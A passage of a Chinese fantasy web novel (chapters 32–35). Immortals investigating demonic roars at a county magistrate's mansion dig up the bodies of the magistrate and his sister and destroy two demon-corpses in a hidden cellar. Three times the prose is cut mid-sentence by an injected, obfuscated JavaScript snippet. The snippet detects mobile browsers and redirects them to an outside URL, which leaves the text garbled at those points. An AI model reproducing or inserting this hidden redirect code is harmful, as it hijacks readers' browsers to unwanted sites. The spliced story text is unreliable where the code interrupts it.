是褚游!郁离加速冲到声音附近,常瀞比他快了半步。 然而,出现在他俩眼前的却不是想象当中血肉模糊的行尸,而是被花枝困得严严实实、跌坐在地上的褚游和在他一旁赔笑的重寒酥。 重寒酥赶忙施法让花枝缩回去:“误会误会,都是误会。” 原来重寒酥在吼声响起时,也恰好跟着魔气找到了县令府。吼声起得太突然,他来不及去找常瀞共同探查,趁着夜色也摸进了花园。 于是,就是这么巧,他和褚游一头撞上了。 重寒酥不好意思地拉起褚游,小声道歉,为他轻轻拍着粘在身上的土。 褚游在发现困住他的人是重寒酥的时候,已经完全忘了方才大喊了一声“操”的那个自己。 又见到殿下了,他的心里甜甜的,连缠在身上扎人的花枝都仿佛裹上了一层甜蜜的外衣。 郁离眼见褚游一下子就变成了绕着重寒酥脚边打转的小狗,终究将刚才翻了一半的白眼翻完了。 吼声既已停止,他们分开搜查了一番,也没再有其他发现。 魔气,仍然浓重。 第二日清晨,忙了一晚上的县令大人终于踏着朝露,神情萎靡地回府了。 他一进正厅,先问孙管家:“小姐呢?” 孙管家给他递上一杯热茶:“还没回来。” “她真是玩野了。”他无奈一笑,视线在常瀞和重寒酥身上略过,然后向郁离道,“不好意思啊,实在是太忙了,怠慢了。不知这二位是?” 郁离客套地表示他们并不在意,能让他们留宿已经很感激了。然后说了昨夜的见闻,提到常瀞和重寒酥是他们的朋友,修为高深,就是为了这里奇怪的吼声来的。 不提魔物,是他们昨夜商量后,共同决定的。魔物毕竟离现在的人间还是太过久远的存在,贸然将消息告知蒲薪,万一再泄露出去,魔物直接行动,怕是会引发大乱。 虽然不知魔物为何按兵不动,但如今,暗中行事,找到感染源头,才是上策。 蒲薪当下便邀请常瀞和重寒酥也住进来。 常瀞道谢:“放心,我们一定会解决这吼声。” “怎么家里来了这么多人呐,哥?”一个少女蹦蹦跳跳从门外走进来。 32. 红药(四) 少女活力四射,蹦蹦跳跳扑到蒲薪身上。 “她自小被全家宠大的,见笑了。”蒲薪对着郁离他们尴尬一笑,将蒲若从身上扯下来,“有没有礼貌,看见有客人来还胡闹。” 蒲若偷偷对哥哥吐了下舌头,这才转过身规规矩矩地向客人们行礼。 这一行礼,可让她眼睛都看直了,心里话直接飙出来:“哥,我以后再也不说你坏话了。这几位哥哥可太好看了,这是你上哪请来的神仙呀,能不能让他们一直住在家里。” “蒲若!你还有没有规矩!”蒲薪气得挽起袖子,到处找东西就要抽她。 孙管家适时递上一根鸡毛掸子。 “孙管家,你!”蒲若气道。 “小姐您放心,县令大人就是摆个架子,他不敢真打您。” “孙管家!你到底是哪头的!”蒲薪挥舞了一下鸡毛掸子。 “哥,哥,哥,对不起”蒲若机灵,一眼瞄过去觉得重寒酥是最好说话的那个,便大胆地躲到了他身后。 蒲薪果然没有杀过来,只是一手叉腰一手抄着鸡毛掸子停在几步远的位置。 眼见蒲若的手指都快搭上重寒酥的衣袖了,褚游慌忙开口,劝着蒲薪放下鸡毛掸子。 蒲薪扶着桌子坐下,喝完整整一杯茶才觉得火消下去:“说吧,昨夜去哪了。” 蒲若不情不愿地从重寒酥身后走出来:“你放心,我没去哪,就去了小云家。” 蒲薪猜到她也不会去什么不三不四的地方:“总是去别人家像什么样子。” 蒲若委屈道:“那谁让你最近都很忙,有时候不回家,我又害怕那怪叫,还不能躲躲啦。” 蒲薪听她这样说,气焰一下子弱下去:“唉,都是哥哥不好。若若别怕,这几个哥哥来就是为了解决这件事的。” 看蒲薪哄妹妹这架势一时半会儿是停不了了,郁离一行人先行离开,回到了县令府花园。 白日里的花园就少了昨夜那阴森的感觉,枝头上的花朵正在盛放,叶片上、花瓣上甚至还有露珠点缀,显得十分娇艳。 重寒酥转了一圈,点评道:“昨夜太暗,没细看。这园子里的花长得真不错,也不知是怎么养得。” 常瀞无语:“你真是时刻谨记自己的职责啊,到哪都先看看人家种的地种的花儿。” 一点异象都没有的花园反而让郁离觉得不安。他盼着魔物的线索与红药有关,这样便有了找人的方向,他又盼着此事与红药无关,毕竟能和魔物扯上关系的事情,都不会是什么好事。 郁离摸了摸花叶:“现在天也亮了,照蒲薪的说法,吼声白日基本不会出现。咱们便分开查吧,刚好我和褚大哥说好今日要去海平县外,那县内就拜托你们了。有什么新情况,咱们互相告知。” 他朝园子外面走了几步却发现褚游没跟上来。 郁离:“?” “我要和春神大人一起。”褚游无情地抛弃了郁离,然后朝重寒酥扬起一个大大的笑容,“行吗?” 重寒酥回了一个微笑:“好哇。” 郁离仿佛看到褚游身后的尾巴都摇起来了,如此重色轻友,还能说什么呢,他只觉得心凉得彻底。 “那走吧,就剩咱俩了。”常瀞朝郁离抛出一个意味深长的笑容。 从县令府没走出几步,他们便看到了张贴在墙上的画像。这幅画像似乎被张贴的太过匆忙,一夜过去,已然被风吹开了一个角。 红药的脸随着风一阵阵吹过,忽隐忽现。郁离细心将画像重新贴好才离开。 他们仔细探查过了海平县的每一条街巷,有了一点新发现。海平县的南边,也比其他区域的魔气略重,但也只是重了一些,远比不上县令府。 南边啊,红药家就在南边。 接下来的时间,他们又在海平县南边细细探查了一遍,尤其是在红药家附近,可是都没有什么新发现。 常瀞觉得海平县南边比县令府还要奇怪,县令府那边的魔气好歹指向性明确,就是花园最集中。南边简直就是一大片魔气混在一起,让人找不出准确的地点。 就好像是,现在海平县的魔气有两个源头,一浓一淡,一明确一模糊。 夕阳西斜,郁离和常瀞走街串巷跑了一天,大抵是因为有正事要忙,两人之间的相处倒也没有想象中那样别扭。 想着太阳快落山了,或许花园那边的吼声也该出现了,他们便准备回县令府。 附近有间书院,他们迎面碰见了一群刚散学的学子。学子们朝气蓬勃,有些相熟的,三三两两走在一起,好不热闹。 待他们走到书院门口时,学子几乎都走光了。只见一个老伯抱着一沓写满字的纸,颤颤巍巍走出来。 老伯被石子绊了一下,险些摔倒,幸亏郁离托了他一把。 上面的几张纸落在地上散开来,郁离弯腰一张一张捡:“老伯,您拿这么多废纸是干嘛呀。” 老伯连声道谢:“书院的山长心善,照顾我这个老头,让我在这儿看门。这些都是书院里不要的废纸,有些地方是空白的,我拿回去可以给孙子用用。” “这样啊——” 郁离的回答戛然而止,散落一地的纸上有一个名字跃入了他的视线。 蒲薪。 这张纸是一个名单,是通过今年县试的学子名单。 郁离立刻将手上这张纸递给常瀞,指了指蒲薪的名字:“会是同名吗?” 常瀞摩挲着这张纸:“未必。” 郁离问老伯:“您记得这个人吗?蒲薪。” “蒲薪。那不是蒲大人吗?” “不对,不是县令大人。是这间书院里的,书院里有没有一个叫蒲薪的人。” “这,这我就没什么印象了。我虽然在这儿干得时间长,也不可能个个的名字都记得住。” “那县令大人呢,你有印象吗,他是在这里读的书吗?” “那没有,蒲大人我记得清楚啊,蒲大人可是好官。他绝对不是在这读的书。” 告别老伯,他们走过一个街口,常瀞问道:“你觉得蒲薪是个什么样的人?” “勤勉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14233986|150824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为政,为人和善。但是,但是——” “但是有些不太成熟,是吧。” 郁离微微点头。 常瀞又问:“你看蒲薪大概年龄几何?” 郁离迟疑:“二十出头?我看不太准。” “你不觉得他太年轻了吗?” “什么意思?”郁离毕竟是妖族,一时没能明白。 常瀞挑明:“会有如此年轻的县令吗?还是我识人不清,他当真才华出众,是被破格提升的?” 另一边,褚游和重寒酥负责海平县外围的探查。海平县东、北、西三面与大陆接壤,南面靠海。 他们从县城东门出去,打算向北走绕一圈,再从东门回来。 目前看来,县城东、北、西三面的魔气几乎淡到察觉不出,重寒酥认为魔物确实还没有逃出海平县。 越往南走,海浪声便越清晰,褚游注意到重寒酥渐渐发白的脸色,想起什么,立时恨不得抽自己一巴掌。 他走在重寒酥身侧,步子越拖越慢,心里疯狂想着该找个什么理由,可以在不引起怀疑的同时,还能让重寒酥别去海边了。 重寒酥面色虽不好,却没放缓过脚步,反倒比褚游快了几步。 他疑惑地回头:“褚游,你怎么走这么慢。” “呃,呃我没怎么,没事没事。”褚游心道,这遮遮掩掩可真不容易,难怪郁离不愿意跟在常瀞身边。 “那就快走吧,太阳都快下山了。” 褚游一时想不出合适的理由,又看重寒酥只是面色差了点儿,倒也没有特别抗拒的样子。只能在他们踏上沙滩的一刻,换到了靠海的一侧,尽量隔开重寒酥和海水。 沙子细细软软,走在上面并不平稳。一个浪打过来,海水漫过了他们的脚踝。 重寒酥反应很大,几乎是在海水碰到他的一瞬间就跳了起来。他身侧是一片空荡荡的沙地,自然而然的,这一跳就攀上了褚游的身子。 褚游只觉得是有一朵香气氤氲的软云飘过来,缠在他身上,下意识就抬手抱住了那朵云。 重寒酥把头埋在褚游肩窝里,全身剧烈颤抖。 诸游心疼得厉害,此刻只想疯狂扇自己巴掌。他真是昏了头了,明知道还把人往海边带。 半晌,他抱紧重寒酥,朝旁边的一块大石头走去。 重寒酥被稳稳放在大石头上后,还不撒手,紧紧抓着诸游的前襟。 诸游就这样任他抓着,半弯着腰,等他平静下来。 潮水退去,海浪声渐渐低了。 前襟上的手松开了,诸游听见重寒酥的声音很轻地传来:“你看出来了吧,我惧怕海水。” 诸游不知道该怎么回答合适,他害怕勾起重寒酥痛苦的回忆,就迟疑了一下,没说话。 重寒酥又道:“我曾被许多人盯着,‘心甘情愿’地走进海里。” “到现在我都能记起那些人脸上的表情,心虚的,喜悦的,紧张的,如释重负的,各种各样的表情。” “海水好凉啊,一直漫过了我的发顶。” 33. 红药(五) “你那是什么奇怪的表情,是不是觉得我特别惨啊。”重寒酥抬起头,脸色还是苍白的,他嘴角牵起一个笑,“其实也不算很惨吧,当时国师说我投海可以平息神明的怒火,后来果然持续很久的雷雨强风消失了,百姓可以出海捕鱼了,地里的庄稼也有救了。而且我其实挺幸运的,水刚漫上我头顶的时候,我竟然飞升了。” 褚游用手抹了一把脸:“笑不出来就别笑了,你不用这样的。” 重寒酥的脸色一下接近惨白,笑容僵在嘴角。 褚游指着大海:“你说的话,你问问自己,你真的信吗?就算当时信了,现在呢?你做了这么多年春神,还相信用活人祭神明,神明就会回应这回事吗?” 重寒酥有些无措:“可后来……确实雨停了。” “你也说了是后来,不是立刻就停了,那不过就是个巧合罢了。你是春神,连你都控制不了如此规模和长时间的晴雨天气,他一个小小的国师凭什么认为让一个人去投个海就可以?!” 重寒酥缓缓垂下头,他仿佛又回到了那一天,海水淹过头顶的那一刻,眼前的一切都开始模糊不清,水不断涌进他的口鼻,无法呼吸。他的衣袍全部被打湿,死死缠在身上,拉着他不停往下坠。 又一波潮水袭来,水声渐起,一下一下拍击着海岸。 褚游继续道:“飞升是事实,被水……飞升前的事情也确实是你经历过的。你不必因为最后获得了一个意外的、还不错的结果,就对别人说,对你自己说,那段经历在好的结果面前已经不那么重要了。” 褚游声音变大,像是要把这些年藏在心里的话全部说出来:“就是那帮人负你!他们凭什么,他们怎么敢的!你应该恨他们!狠狠骂他们!” 他微不可察地哽咽了一下:“如果你没飞升呢!如果那天你就那样沉下去了呢!水里那么冷,就你一个人,你要……怎么办。” 是啊,如果,如果没飞升呢?他要怎么办?父皇和母后那天也在岸上陪着他,鼓励地看着他。如果那天他死了呢,他们会为他哭泣吗,哪怕……掉一滴眼泪呢? 海水很凉,他真的很冷,很……害怕。 他终于听清了禁锢在旧日身体中的那道声音,他根本不想做什么大无畏的牺牲,什么牺牲他一个人,就可以拯救全国,都是骗子编出来的,骗人的。 他想……活着。 一直在周围的杂音消失了,风声,水声,还有那天一步一步入水时,岸上嘈杂的议论声。他以前怎么没觉得,那些窸窸窣窣的议论声真得好吵,好烦。 是啊,那些人都该死。重寒酥不管不顾地想。 现在好了,都安静了,终于安静了。 重寒酥眼睛红红的,声音很轻:“鞋都湿了,回去吧。” 他说着,也不顾还没退去的潮水,直接从石头上跳下来。只是在鞋底刚接触到海水的时候,顿了一下,随后便脚步很稳地大踏步向前走去。 入夜,县令府花园。 蒲薪今日意外清闲,成功地赶在天黑之前回府了。然而他一进花园,持续了一天的好心情就消失了。 他请来的客人们都尽职尽责地守在花园里,这没什么,他今夜也是打算在花园里守着的。可是,谁能告诉他,他的妹妹不好好在她闺房里待着,为什么也来了这里? 蒲若是饭后“假装路过”花园的,她猜到那几个哥哥今夜肯定会待在这里,于是一波偶遇搭讪,硬是留在了凉亭里。就是不知道她最喜欢的那个哥哥为什么忽然有些冷淡了,明明早上还是一副笑模样。 蒲薪火冒三丈,这妹妹不好好教训一顿看来是不行了。 “蒲若,快给我回去!” “我不,我今夜也要在这里等着,看看吵得咱们都睡不好觉的东西究竟是什么!” “胡闹!太危险了,赶快回去!” “你都可以留在这儿,我为什么不行?再说了,这四个哥哥会保护我的。” “你——” 郁离打圆场:“没事的,你们站远点没关系的,就是这花园里别在出现其他侍女侍卫了。” 蒲若嚣张地冲蒲薪做了个鬼脸,气得蒲薪坐下一口气灌完了一大杯茶。 重寒酥传音道:“让这兄妹俩留在真的没事吗?万一他们真就是普通人,你们发现的名单是个巧合呢?” 常瀞:“怕什么,咱们四个人呢。而且,要说是巧合,这也太巧了吧。等下你就去空中,负责全场,确保不会有魔物或者被魔物感染的人类跑出去。” 另一边,郁离也在同褚游窃窃私语。 郁离传音:“你和春神大人怎么回事,两个人回来都奇奇怪怪的,你欺负他啦?” 褚游眼神放空:“我怎么敢,我心疼他还来不及,不过,今日对他来说,可能是件好事吧。” 郁离:“神神秘秘,我都对你和施姐姐完全坦白了。” 褚游:“下次说下次说,现在不合适。” 郁离才同褚游聊完没多久,常瀞也弓着身子靠过来八卦了,他十分没有距离感地附在郁离耳边轻声说话。 耳边泛起一丝热意,郁离动了动身子,撤出一小段距离。 他这边一撤,常瀞紧跟着又黏上来。 “星君!”郁离再退身子就要悬空了,只能推推他,“你干什么,都看着呢。” 常瀞无辜道:“我听不清你说什么,贴近点儿怎么了。” 郁离不与他争辩。 就他一天有理。 今夜花园里专门多摆了好几盏灯笼,比起之前要明亮多了,从凉亭向外看去,模模糊糊能看清树影花影,不再是漆黑一片。 凉亭里坐着的几个人,从一开始的神采奕奕,到后来开始有些无精打采。浓茶换了几道,谈天声渐渐停了,吼声却始终没有响起。 蒲若早就撑不住,靠在蒲薪肩头,头一点一点的。 肩头的重量越来越沉,蒲薪看见妹妹已经睡熟,便想着先把她送回房里,再回来。 变故就是在蒲薪小心翼翼扶着妹妹起身时发生的。 安静了一夜的花园里,又响起了恐怖的吼声。 褚游和常瀞瞬间朝两个方向闪身而出,郁离则留在兄妹俩身旁,放出傀,几只冲进花园,几只守在原地。 蒲若被吼声惊醒,依偎在兄长怀里,紧张地张望四周。 蒲薪这会儿也不觉得妹妹气人了,抱紧妹妹哄道:“别怕,哥哥在呢。” 吼声比昨夜响的时间还要短,几息之间便停歇了。期间除了吼声,便没有其他的动静出现,今夜又是毫无所获。 郁离由于没有直接参与行动,只是放出傀来配合其他人,所以这一回他将大部分注意放在了声音之上。正因如此,他捕捉到了一个很奇怪的地方——那吼声似乎不是正常停止的,而是断掉的。 就好像是吼到一半,被人直接捂住了嘴一样。 他问兄妹俩有没有同样的感觉,兄妹俩却一脸茫然。 难道,是错觉吗? 这时,出去的几个人也回来了,个个沉着脸。 褚游抱着臂靠在柱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14262981|150824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子上:“这也太奇怪了,怎么竟是些怪事,这声音是从哪来的。” 重寒酥端着热茶暖手:“天上没有,地上也没有,还能在哪呢。” “还能……还能在地下!”常瀞忽然用扇子敲了下掌心,问蒲薪,“这花园下有盖什么密室之类的房间吗?” 蒲薪心头一跳:“应,应该不会吧。不过这个我也不太清楚,这县令府是上一任县令修的。” 郁离:“那还有留下来的图纸吗?” 蒲薪:“没在府里见过。” 常瀞:“那上一任县令呢,能找到他吗?” 蒲薪:“他,我记得他好像是离开海平县了吧。” 常瀞:“好像?” “对,他不在这儿了。”蒲薪发现凉亭里的气氛又低迷下来,“要不,咱们一起在府里找找?” 常瀞等的就是他这句话,笑眯眯道:“不会很过分吧。” “不会不会,只要能快点儿把这吼声解决了,怎么着都行。” 于是,三更半夜,他们在蒲薪蒲若的带领下,惊动了全府的人,彻底将县令府的每一条路每一间屋子都走过了一遍。尤其是花园附近,郁离几乎是蹲在地上一寸一寸摸过去的,依然没有任何发现。 只有花园一角的一个小房间有些奇怪,上着锁,连孙管家都没有钥匙。 他们将锁砸开,进去后却发现有一个神龛。 “我们之前还当这是个杂物间来着,之前的县令走得时候怎么连神龛都忘了。”神龛上有一层薄薄的浮灰,蒲薪小心地扫去灰尘,上了一炷香,解释道“我们东洲沿海这边比其他地区更信神明,家家户户,甚至皇宫里都供着神像。” 蒲薪领着蒲若上完香,退出来,叮嘱孙管家之后要常来清扫。 这一通折腾天都快亮了,一行人浩浩荡荡回了花园。 常瀞还不放弃,笃定花园下面肯定有东西,他笑眯眯问蒲薪:“你先前说的,只要能把这吼声解决了,怎么着都行,还作数吧。” 蒲薪迷茫地对上常瀞的视线,点点头。 “那我想把这花园挖开呢?” “啊?!” “不可以吗?” 蒲薪冷静下来,本能地觉得挖花园这事儿很离谱,不能挖,但又一想还真的没有比这更合适更快的办法了,便犹豫着同意下来。 他本还想多调些人手一起挖,更快点。 常瀞大手一挥,表示不用那么麻烦,他捅捅重寒酥,小声道:“机会来了,你不是爱种地吗,这一花园的土都是你的了。” 重寒酥无语地瞥了他一眼,走出去站在了花园边上。 他怀中不是何时多了一枝黄灿灿的迎春,迎春在虚空中一扫,花园中的花花草草连着土和地砖纷纷飞起,规矩地落在了花园角落,堆成一个个土坡,花花草草也很认真地码在一旁。 蒲薪和蒲若还是头一回见到他们显神通,啧啧称奇。 花园里的土越来越少,蒲若眼睛尖,激动地指着不远处:“看那,真的有东西!” 郁离却沉默了,他看得更清晰,那不是什么东西,那是一只苍白的手掌。 下面怕是埋了一具尸体。 重寒酥小心控制着清走尸体附近的土,那是一具年岁不大的少年尸体,面朝下,其下竟还有一具女尸。 终于两具尸体周身的土被全部清除,暴露在众人眼前。 蒲若眼睛眨了又眨,像是不敢相信,她哆哆嗦嗦抱住蒲薪的胳膊:“哥哥,为什么那两具尸体的脸和我们的一样?” 34. 红药(六) 蒲薪脸色煞白,说不出话来。 地上刚被挖出来的两具尸体,就像一把尖刀,直直劈开了他记忆中化不去的迷雾。 他想起来了,他为什么会觉得红药这个名字很熟悉,他全都想起来了。 “若若,你想起来了吗?我们确实是死了。”蒲薪哽咽着问妹妹。 蒲若呆呆地望向哥哥,不知何时她的眼泪已经像是断了线的珠子似得流了满脸:“哥,那姐姐呢,姐姐在哪,姐姐是不是已经被我们害死了。” “你们口中的姐姐是谁!”郁离也顾不得眼前这明显不对劲儿,不知是人是鬼亦或是什么其他东西的二人了,他直接抓住蒲薪的胳膊问道,“是不是红药,她现在在哪?!” “红药姐她——” 郁离只觉得眼花了一瞬,手里就空了。蒲薪和蒲若就这么在四个人的眼皮底下原地消失了,连片衣角都没有剩下,只留给了他们几句似是而非、残缺不全的对话和地上两具冰冷的尸体。 “他们怎么不见了?!”褚游一个激灵。 郁离盯着他们消失的地方:“不清楚,但是基本可以确定了,他们就是土地仙口中红药曾经收养的那两个小孩。” 褚游又问:“那他们到底是人是鬼?” 郁离斟酌片刻:“尸体都挖出来了,肯定不能是人,鬼倒也未必,我觉得他们更像是……” “幻影,或者是影子之类的东西。”常瀞接道,“他们身上没有魔气。” 重寒酥叹道:“这花园里埋了两具尸体,难怪上头的花开得那样好。” 郁离蹲下身,观察地上的两具尸体。这两具尸体比他们遇见的蒲薪和蒲若年纪要小一些,尸体保存还算完好,只是不敢断定具体的死亡时间。 两人脑后都有外伤,尤其是蒲薪身上,还有明显的与人搏斗的痕迹。 郁离叹息,拂过蒲薪脸颊,合上了他睁开的眼睛。 “先将他们安葬了吧。” 他们来到海平县外的一座山上,找了一处避风的位置,将两人安葬。 山上视野开阔,两个小坟包挨在一起,从这里能直直看到海平县。 回到县令府,孙管家在门口候着:“可算等到四位大人回来了,我家大人去县衙了,临走前说让我陪着你们继续挖。” “什么!你家大人什么时候走的?”郁离惊道。 这怎么可能?他们亲眼看见蒲薪和蒲若消失,亲手将他们的尸体埋葬。他们怎么可能还会出现在县令府?! 孙管家被对方突如其来的惊讶吓了一跳,照实说了:“就在你们回来前一会儿。” 常瀞向前一步,平和地问孙管家:“那你们小姐人呢。” “呃,小姐现在应当在她院子里吧。” “能不能带我们去看看。” 孙管家一头雾水领着他们去了蒲若的院子,还没进院门,他们就听到了里面一连串银铃般的笑声,那笑声正是蒲若无疑。 蒲若背对着院门正同几个侍女喂鱼,一池锦鲤被喂得各个膘肥体壮。她们讨论哪条锦鲤最好看,哪条锦鲤最圆润,讨论得热火朝天,听到院门这边的动静纷纷转过身来。 蒲若和往常一样向他们打招呼:“找我有事吗?花园那边有发现了?” 孙管家迟疑着回道:“是这几位大人,突然说要来找您。” 诸游整个人都僵住了,差一点儿大叫出声,他紧紧拉住孙管家不让他继续往前走。 蒲若是好好的站在那,可她没有脸,换言之,她本该是脸的位置,一片空白,没有五官。 孙管家疑惑地看着他。 “不是,不是你们都看不到吗?!” “什么?”孙管家现在都想赶紧去县衙找蒲薪了,这几个人从刚才一回来就奇奇怪怪的,太可疑了。 “她,她没有——唔——”重寒酥一把捂住他的嘴将他拖回来。 常瀞笑道:“他没事哈哈,就是有些累了。” 然后他们立即告辞,离开了这方小院。 这一天的发展太迅速太离奇了,先是当着蒲薪和蒲若的面挖出他俩的尸体,然后这两个人凭空消失又突然出现,出现以后又没有脸,顶着一张空白的脸在其他人面前乱晃却没人觉得害怕和奇怪。 郁离一时间感到这看上去一片祥和之色的县令府阴森森的,此刻被挖的满目疮痍的花园反倒被衬得无比正常,至少眼前这个深坑提醒着他们,他们确实从这里挖出了蒲薪和蒲若的尸体。 重寒酥松开诸游:“县衙里的那个‘蒲薪’还用去确认吗。” 常瀞掏出块不知是什么材质的丝滑软布擦拭着凉亭凳子上的土:“不必了吧,八成也没有脸呐,而且他妹妹还在这儿呢,他会回来的。” 褚游拍怕胸口:“太吓人了太吓人了。” 郁离用胳膊撞了他一下:“鬼你都不怕,你怕这个。” “我从前也怕啊,可现在我不也成鬼了,还怕什么!”褚游怒道,“蒲若院子里那个还不知道是什么,一张空白的脸怼你面前,你不害怕啊!” 郁离仔细想了想,肯定道:“我也怕。” 不远处一个人影一溜小跑过来,孙管家站定,看着被挖得七零八落的花园深吸了一口气,谨慎问道:“几位大人,还挖吗?” 常瀞斩钉截铁:“挖!” 都挖成这样了,哪还能半途而废呢? 又是一堆一堆土在花园角落飞快垒起,孙管家站在一旁,保持着和先前蒲薪蒲若一样的同款震惊姿势。 随着被挖出来的土越来越少,常瀞感到那股魔气也愈发浓烈。 肯定没错了,就是这儿。他指了一个方向,让重寒酥集中清理。 一盏茶的时间过去,重寒酥收回迎春,花园里已然被他被他清理出了一片砖砌的空地。 郁离俯下身,敲了敲空地:“下头是有空房间。” 褚游撸起袖子:“那就拆吧。” 他三下五除二,就将那片砖砌的空地拆开了一个能容一人进出的洞口。 常瀞刚凑近洞口,一股浓烈的魔气便扑面而来。他道:“三个人下去,一个人在上面守着洞口?” 褚游想了想,主动请缨留在上面:“我的招式不适 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14286376|150824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 合下去,打起来怕把这地下密室砸塌了。” 三人小心地从洞口溜下去。地下漆黑一片,只有被拆出的洞口处,有束光打下来。 “小心。” 郁离落地的时候不知踩到什么,没站稳。常瀞眼疾手快握住他的胳膊,扶了他一把。 他小声道谢后,那手便很快松开了。他借着地下一片漆黑,无人能见,摸上自己被抓握过的胳膊,反复摩挲。 常瀞的掌心好热啊。 郁离放出一只圆球形状的傀,这只傀升到半空中,亮起柔和的光。常瀞和重寒酥都惊讶和赞许地看着他。 县令府地下密室的全貌终于现了出来,这个房间不大,其中一个墙角堆了些杂物,他们身后对着一部楼梯,不知通往何处。 令他们感到惊讶的是,这个房间的四壁、地面以及屋顶贴满了符纸,地上还有些血迹,看着很瘆人。 常瀞辨认了一下:“是正统的驱妖符。” “吼——” 就在这时低沉的吼声从他们身后响起,他们转过身,只见有血色身影从漆黑一片的楼梯那里一闪而过,两具魔尸便攻到他们身前。 速度好快!常瀞拔剑挡下这一击。 两具魔尸借力后退,有意识地分散开来,将他们堵在了角落。 这两具魔尸的肤色都呈现出铁青的颜色,眼珠血红,其中较矮胖的那具魔尸裸露出的部位有着被啃食的痕迹。 常瀞冷静开口:“还好,只有两具,看起来比较高的那个是魔物感染的源头,魔尸王。注意了,矮的那个把它的头割下来打烂就成,高的那个全身都得砸烂了,不然它们还会复活。” 接下来便好办了,三对二。那两具魔尸虽然动作极快,可是攻击手段属实简单,只靠牙齿和手抓咬,几下便被手拿武器的三人制服,砸了个稀烂。 郁离还发现,个子高的那具魔尸王,皮肤极其坚硬,废了很大的力气才将其彻底砸烂。 在魔尸被解决的瞬间,盘桓在县令府久久不散的魔气消散了。 郁离好奇地凑上去观察被砸烂的魔尸:“它们看起来威胁也没那么大呀。” 常瀞严肃道:“那是咱们运气好,这里有空间限制,还只遇上了两具。魔物在将人类感染为魔尸王时,过程虽然漫长,但是一旦转化成功,魔尸王再去感染其他人,可就快了,只需咬一口,抓上一下,活生生的人立刻就能变成下一具魔尸,魔尸又能感染魔尸,无穷无尽。” 重寒酥悲哀道:“而且魔尸的生存能力超乎想象,割下它们的头,头还能咬人。砍掉它们的胳膊,胳膊还能抓人。魔尸王和普通魔尸肉眼所见差别不明显,为稳妥起见,一般遇上了都是要将它们全身砸烂的。你说咱们砸烂魔尸的速度,快得过它们咬人抓人的速度吗?” 郁离听明白他们话中的意思,打了一个冷战。他们有术法在身,能够自保,可普通人呢,遇上速度远超常人的魔尸,甚至连求死都不能。若是一城混入一具魔尸,只怕顷刻间,便是一片尸山血海。 原来当年在金石城,袁大哥他们遇上的便是这样惨烈的情况吗。 35. 红药(七) “行了,先上去吧。”常瀞掩住口鼻疯狂摇扇子,这底下的味道真的太难闻了。 郁离走到地下密室唯一的楼梯前面:“从这儿上去?” 楼梯修得又窄又陡,两边墙壁的砌筑手法和密室一样,是如出一辙的粗糙。使用的红砖看不出岁月的痕迹,给人的观感就好像这个地下密室是近来临时起意,匆忙修建而成似得。 能发光的圆球傀知道危机消失,开始变得活泼起来,一会儿飞到低处蹭蹭郁离的耳朵,一会儿又在高处盘旋,不过它倒清楚自己的任务,无论怎样变着花样地飞,都尽职尽责地没有离开郁离太远。 他们的影子映在楼梯上,时长时短,时而交叠在一起,变幻出各种奇怪的形状。 “没路了。”在一个转弯处,常瀞的声音从上方传来。 小光球向前飞了一截,见主人没唤他停下,便加速飞到了常瀞身边。 前面的路被大块的石块堵住了。小光球原地转了几圈,试探着选了个稍大的缝隙钻进去,没一会儿就退了出来。 郁离仰起头:“它进不去,前面被堵死了。” 常瀞摸摸飞回来的小光球:“往回走吧。” 小光球得了常瀞的抚摸,胆子更大了起来,在常瀞的脸颊上飞快蹭了一下就溜。 常瀞被蹭的一怔,随即眼尾一挑看着郁离,不说话。 郁离:“……” 我不是!我没有!要造反了不成!下次不放它出来了! 常瀞缓步往下走:“我听说,傀的行为是受傀师控制的。” 郁离面具下的脸涨红,干巴巴憋出一句:“我没控制它,它有自主意识!” 常瀞也没道信还是不信,只是在与郁离擦肩而过时,故意靠近他耳边,轻轻撂下一句:“你帮我告诉它,它很可爱呢。” “我说,你们要在上面呆到什么时候,是有什么发现了吗。”早已走下楼梯的重寒酥一回头,发现两个人都没跟上来。 “没事,来了。”常瀞心情很好地应道。 回到地面,呼吸到的空气顿时清新起来。郁离寻了几块板子,遮住洞口,做了个醒目的标志,防止有人路过不小心掉下去。 他最后朝下面看了一眼。谁能想到呢,生机勃勃的花园下面藏着能顷刻间便使海平县沦为地狱的存在。如果不是地下密室的通道被堵得严严实实,让魔尸被放出来了,怕是神仙来了都无力回天了吧。 褚游恍然大悟:“入口被堵住了呀,难怪咱们几乎把县令府翻了一遍,你都没找见。” 